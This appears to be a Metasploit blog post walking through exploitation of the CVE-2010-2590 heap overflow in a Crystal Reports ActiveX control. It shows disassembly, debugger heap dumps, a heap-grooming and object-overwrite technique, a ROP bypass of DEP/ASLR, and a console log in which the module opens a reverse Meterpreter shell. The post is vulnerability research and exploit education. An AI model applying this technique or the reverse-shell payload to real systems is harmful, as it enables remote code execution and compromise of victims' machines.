Last updated at Tue, 06 Feb 2024 21:57:59 GMT

In this blog post we would like to share some details about the exploit for CVE-2010-2590, which we released in the last Metasploit update. This module exploits a heap-based buffer overflow, discovered by Dmitriy Pletnev, in the CrystalReports12.CrystalPrintControl.1 ActiveX control included in PrintControl.dll. This control is shipped with the Crystal Reports Viewer, as installed by default with Crystal Reports 2008. While this is a vulnerability from the end of 2010, its exploitation has some interesting details related to heap exploitation we would like to share.

The vulnerability

The heap-based overflow, according to the provided information, occurs when setting a specially crafted ServerResourceVersion property value in a string. The next code is discovered when looking at the setter for the ServerResourceVersion property:

.text:3F14254B ; int __stdcall set_ServerResourceVersion_sub_3F14254B(int, wchar_t *)
.text:3F14254B PrintControl_ref_arg_0= dword ptr  4
.text:3F14254B user_string_arg_4= dword ptr  8
.text:3F14254B
.text:3F14254B                mov    eax, [esp+PrintControl_ref_arg_0]
.text:3F14254F                add    eax, 52Ch
.text:3F142554                cmp    word ptr [eax], 0
.text:3F142558                jnz    short loc_3F142566
.text:3F14255A                push    [esp+user_string_arg_4] ; wchar_t *
.text:3F14255E                push    eax            ; wchar_t *
.text:3F14255F                call    _wcscpy
.text:3F142564                pop    ecx
.text:3F142565                pop    ecx
.text:3F142566
.text:3F142566 loc_3F142566:                          ; CODE XREF: set_ServerResourceVersion_sub_3F14254B+D j
.text:3F142566                xor    eax, eax
.text:3F142568                retn    8

Indeed the dangerous wcscpy function is used to store an user provided string as ServerResourceVersion property for the CrystalPrintControl class. The function receives a pointer to the CrystalPrintControl object as first argument, and the 0x52c offset is used to store the provided string (second argument). We can use debugging to verify where the CrystalPrintControl object is stored:

ModLoad: 03da0000 03daf000  C:\Program Files\Business Objects\Common\4.0\crystalreportviewers12\ActiveXControls\PrintControl_res_en.d ll
Breakpoint 0 hit
eax=7ffd6000 ebx=3f18a820 ecx=3f14254b edx=0024949a esi=0201f508 edi=00000000
eip=3f14254b esp=0201f2a0 ebp=0201f2b8 iopl=0        nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202
PrintControl+0x254b:
3f14254b 8b442404        mov    eax,dword ptr [esp+4] ss:0023:0201f2a4=183cd503
0:008> dd esp L3
0201f2a0  77135cd9 03d53c18 028deebc
0:008> !address 03d53c18
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage:                  Heap
Base Address:          03d50000
End Address:            03d55000
Region Size:            00005000
State:                  00001000 MEM_COMMIT
Protect:                00000004 PAGE_READWRITE
Type:                  00020000 MEM_PRIVATE
Allocation Base:        03d50000
Allocation Protect:    00000004 PAGE_READWRITE
More info:              heap owning the address: !heap 0x3d50000
More info:              heap segment
More info:              heap entry containing the address: !heap -x 0x3d53c18
0:008> !heap
Index  Address  Name      Debugging options enabled
  1:  00150000
  2:  00250000
  3:  00260000
  4:  00350000
  5:  00380000
  6:  00980000
  7:  02760000
  8:  02810000
  9:  03130000
10:  03170000
11:  031b0000
12:  02f20000
13:  03640000
14:  03740000
15:  03770000
16:  03890000
17:  03d30000
18:  03d40000
19:  03d50000
20:  03d60000
0:008> !heap -p -a 03d53c18
    address 03d53c18 found in
    _HEAP @ 3d50000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        03d53c10 0128 0000  [01]  03d53c18    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4

As expected, the CrystalPrintControl object is stored in the heap, specifically in a chunk of 0x938 bytes. Since the ServerResourceVersion is stored at the offset 0x52c, by providing a string bigger than 0x40c bytes it's possible to overflow the heap space allocated for the CrystalPrintControl object. The interesting detail to have into account is the heap where the class is stored. As you can notice it isn't stored in the default process heap (0x00150000), because of this well known javascript feng shui techniques can't be used to control the heap.

The Heap

As said just above, the vulnerable ActiveX, which lives on the PrintControl.dll module, will use a dedicated heap, created during the CRT Runtime initialization. Then memory will be allocated with the use of the C runtime new() function. In the case of creation of a CrystalPrintControl object, an allocation of the "vulnerable" size can be observed. Feel free to check the attached prezi presentation (thanks sinn3r!) for details:

Exploitation

Since a heap allocation of 0x938 bytes will be done to store each CrystalPrintControl object, we should be able to create more 0x938 allocations, in the vulnerable heap, by just creating more CrystalPrintControl objects. It can be tested with a JavaScript code like this one (tested on IE8 / XP SP3):

  • At alert(1) - Any allocation:
0:017> !heap -flt s 0x938
    _HEAP @ 150000
    _HEAP @ 250000
    _HEAP @ 260000
    _HEAP @ 350000
    _HEAP @ 380000
    _HEAP @ 980000
    _HEAP @ 2760000
    _HEAP @ 2810000
    _HEAP @ 3100000
    _HEAP @ 3130000
  • At alert(2) - 5 allocations:
0:017> !heap -flt s 0x938
    _HEAP @ 150000
    _HEAP @ 250000
    _HEAP @ 260000
    _HEAP @ 350000
    _HEAP @ 380000
    _HEAP @ 980000
    _HEAP @ 2760000
    _HEAP @ 2810000
    _HEAP @ 3100000
    _HEAP @ 3130000
    _HEAP @ 3240000
    _HEAP @ 35f0000
    _HEAP @ 3600000
    _HEAP @ 3610000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        03613c10 0128 0000  [01]  03613c18    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03614550 0128 0128  [01]  03614558    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03614e90 0128 0128  [01]  03614e98    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        036157d0 0128 0128  [01]  036157d8    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03616110 0128 0128  [01]  03616118    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
    _HEAP @ 3620000
  • At alert(3) - 10 allocations:
0:017> !heap -flt s 0x938
    _HEAP @ 150000
    _HEAP @ 250000
    _HEAP @ 260000
    _HEAP @ 350000
    _HEAP @ 380000
    _HEAP @ 980000
    _HEAP @ 2760000
    _HEAP @ 2810000
    _HEAP @ 3100000
    _HEAP @ 3130000
    _HEAP @ 3240000
    _HEAP @ 35f0000
    _HEAP @ 3600000
    _HEAP @ 3610000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        03613c10 0128 0000  [01]  03613c18    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03614550 0128 0128  [01]  03614558    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03614e90 0128 0128  [01]  03614e98    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        036157d0 0128 0128  [01]  036157d8    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03616110 0128 0128  [01]  03616118    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03616ae8 0128 0128  [01]  03616af0    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03617428 0128 0128  [01]  03617430    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03617d68 0128 0128  [01]  03617d70    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        036186a8 0128 0128  [01]  036186b0    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03618fe8 0128 0128  [01]  03618ff0    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
    _HEAP @ 3620000

With it in mind by just creating CrystalPrintControl objects, more 0x938 size objects (as the vulnerable one) can be created in the same heap. According to empirical tests 10 allocations seems to be sufficient to get the heap defragmented and put CrystalPrintControl objects consecutive in memory. Look at the next code modified from the one before:

At the moment of alert(1); it's the state of the CrystalPrintControl objects at memory:

0:018> !heap -flt s 938
    _HEAP @ 150000
    _HEAP @ 250000
    _HEAP @ 260000
    _HEAP @ 350000
    _HEAP @ 380000
    _HEAP @ 980000
    _HEAP @ 2760000
    _HEAP @ 2810000
    _HEAP @ 3210000
    _HEAP @ 3240000
    _HEAP @ 3350000
    _HEAP @ 3700000
    _HEAP @ 3810000
    _HEAP @ 3820000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        03823c10 0128 0000  [01]  03823c18    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03824550 0128 0128  [01]  03824558    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03824e90 0128 0128  [01]  03824e98    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        038257d0 0128 0128  [01]  038257d8    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03826110 0128 0128  [01]  03826118    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03826a50 0128 0128  [01]  03826a58    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03827390 0128 0128  [01]  03827398    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03827cd0 0128 0128  [01]  03827cd8    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03828610 0128 0128  [01]  03828618    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03828f50 0128 0128  [01]  03828f58    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
    _HEAP @ 3830000

By setting the ServerResourceVersion property of the 9th object with more than 0x40C bytes (fill the 9th CrystalPrintControl object) plus 8 bytes (fill the 10th heap chunk header), finally the 10th CrystalPrintControl object in memory can be overflowed (located at 0x3828f58). After the overflow:

0:008> !heap -flt s 938
    _HEAP @ 150000
    _HEAP @ 250000
    _HEAP @ 260000
    _HEAP @ 350000
    _HEAP @ 380000
    _HEAP @ 980000
    _HEAP @ 2760000
    _HEAP @ 2810000
    _HEAP @ 3210000
    _HEAP @ 3240000
    _HEAP @ 3350000
    _HEAP @ 3700000
    _HEAP @ 3810000
    _HEAP @ 3820000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        03823c10 0128 0000  [01]  03823c18    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03824550 0128 0128  [01]  03824558    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03824e90 0128 0128  [01]  03824e98    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        038257d0 0128 0128  [01]  038257d8    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03826110 0128 0128  [01]  03826118    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03826a50 0128 0128  [01]  03826a58    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03827390 0128 0128  [01]  03827398    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03827cd0 0128 0128  [01]  03827cd8    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
        03828610 0128 0128  [01]  03828618    00938 - (busy)
          ? PrintControl!DllUnregisterServer+320c4
    _HEAP @ 3830000

What happened with the 10th object? It has been overflowed, both the heap chunk header and the object:

0:008> dd 03828f50 L2
03828f50  41414141 41414141
0:008> dd 03828f58 L4
03828f58  41414141 41414141 41414141 41414141

And when trying to use (dereference) the overflowed CrystalPrintControl object and invoke one of its methods, an interesting crash from the exploitation point of view happens:

(da8.cbc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=0035b9a8 ecx=0201f608 edx=0201f5e4 esi=00355da8 edi=03828f58
eip=633a8dcb esp=0201f5b8 ebp=0201f5d0 iopl=0        nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00010246
jscript!IDispatchGetIDsOfNames+0x86:
633a8dcb 8b4014          mov    eax,dword ptr [eax+14h] ds:0023:41414155=????????
0:008> u 633A8DC9 L 9
jscript!IDispatchGetIDsOfNames+0x84:
633a8dc9 8b07            mov    eax,dword ptr [edi]
633a8dcb 8b4014          mov    eax,dword ptr [eax+14h]
633a8dce 51              push    ecx
633a8dcf 6809040000      push    409h
633a8dd4 6a01            push    1
633a8dd6 52              push    edx
633a8dd7 6824723a63      push    offset jscript!GUID_NULL (633a7224)
633a8ddc 57              push    edi
633a8ddd ffd0          call    eax
0:008> kb
ChildEBP RetAddr  Args to Child
0201f5d0 633a8d5c 0201f5e4 0201f608 633a74d8 jscript!IDispatchGetIDsOfNames+0x86
0201f5e8 633aa51f 0035b9a8 0201f608 0035f974 jscript!GetDispatchDispID+0x2c
0201f610 633a99b7 0035b9a8 0201f738 00000002 jscript!VAR::InvokeByName+0x74
0201f7a8 633a5ab0 0201f7c0 0201f908 0201f908 jscript!CScriptRuntime::Run+0x655
0201f890 633a59f7 0201f908 00000000 00000000 jscript!ScrFncObj::CallWithFrameOnStack+0xff
0201f8dc 633a5743 0201f908 00000000 00000000 jscript!ScrFncObj::Call+0x8f
0201f958 633891f1 0035f9b8 0201fb18 00000000 jscript!CSession::Execute+0x175
0201f9a4 63388f65 0035b758 0201fb18 0201fb28 jscript!COleScript::ExecutePendingScripts+0x1c0
0201fa08 63388d7f 0035b758 028ade04 635be83c jscript!COleScript::ParseScriptTextCore+0x29a
0201fa30 635bf025 0035b75c 02910d34 028ade04 jscript!COleScript::ParseScriptText+0x30
0201fa88 635be7ca 0023e820 00000000 02838060 mshtml!CScriptCollection::ParseScriptText+0x219
0201fb4c 635be5ab 00000000 00000000 00000000 mshtml!CScriptElement::CommitCode+0x3a9
0201fb80 635ac020 7c80932e 001f8820 001f8820 mshtml!CScriptElement::Execute+0xc4
0201fbd4 635a74f0 0283e360 7c80932e 001f8820 mshtml!CHtmParse::Execute+0x4a
0201fbec 635a7266 635a6a75 02f6d3d0 001f8820 mshtml!CHtmPost::Broadcast+0xf
0201fcac 635ac2b8 02f6d3d0 00000000 001f8820 mshtml!CHtmPost::Exec+0x5f6
0201fcc4 635ac21b 02f6d3d0 00000000 001f8820 mshtml!CHtmPost::Run+0x15
0201fce4 635ac17e 0022c280 02f6d3d0 001f8820 mshtml!PostManExecute+0x1fd
0201fd04 635ac0e2 00000001 0000007f 0201fd24 mshtml!PostManResume+0xf8
0201fd14 63655d60 0024a840 001f8820 0201fd58 mshtml!CHtmPost::OnDwnChanCallback+0x10
0201fd24 6364de62 0024a840 00000000 0022c280 mshtml!CDwnChan::OnMethodCall+0x19
0201fd58 6363c3c5 0201fde0 6363c317 00000000 mshtml!GlobalWndOnMethodCall+0xfb
0201fd78 7e418734 001c0524 00000008 00000000 mshtml!GlobalWndProc+0x183
0201fda4 7e418816 6363c317 001c0524 00008002 USER32!InternalCallWinProc+0x28
0201fe0c 7e4189cd 00000000 6363c317 001c0524 USER32!UserCallWinProcCheckWow+0x150
0201fe6c 7e418a10 0201fe94 00000000 0201feec USER32!DispatchMessageWorker+0x306
0201fe7c 00cb2ec9 0201fe94 00000000 00355aa8 USER32!DispatchMessageW+0xf
0201feec 00c548bf 00182148 00000001 0015fe68 IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
0201ffa4 5de05a60 00355aa8 0bf0002f 0201ffec IEFRAME!LCIETab_ThreadProc+0x2c1
0201ffb4 7c80b713 0015fe68 00000001 0bf0002f iertutil!CIsoScope::RegisterThread+0xab
0201ffec 00000000 5de05a52 0015fe68 00000000 kernel32!BaseThreadStart+0x37

In this case, the vulnerable ActiveX (PrintControl) also ships the well known msvcr71.dll, which can be used to bypass DEP/ASLR protections via rop chain:

So far so good, time to demo the metasploit module!

 
msf  exploit(crystal_reports_printcontrol) > exploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.129:4444 

[*] Using URL: http://0.0.0.0:8080/IXWArTzszXQO
[*]  Local IP: http://192.168.1.129:8080/IXWArTzszXQO
[*] Server started.
msf  exploit(crystal_reports_printcontrol) > [*] 192.168.1.137    crystal_reports_printcontrol - Requesting: /IXWArTzszXQO
[*] 192.168.1.137    crystal_reports_printcontrol - Target selected as: IE 8 on Windows 7
[*] 192.168.1.137    crystal_reports_printcontrol - Using JRE ROP
[*] 192.168.1.137    crystal_reports_printcontrol - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.137
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.137:49654) at 2012-12-14 12:44:02 +0100
[*] Session ID 1 (192.168.1.129:4444 -> 192.168.1.137:49654) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1648)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2484
[+] Successfully migrated to process 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.

PD: As always, thanks to sinn3r for keep reviewing and helping to make it look better!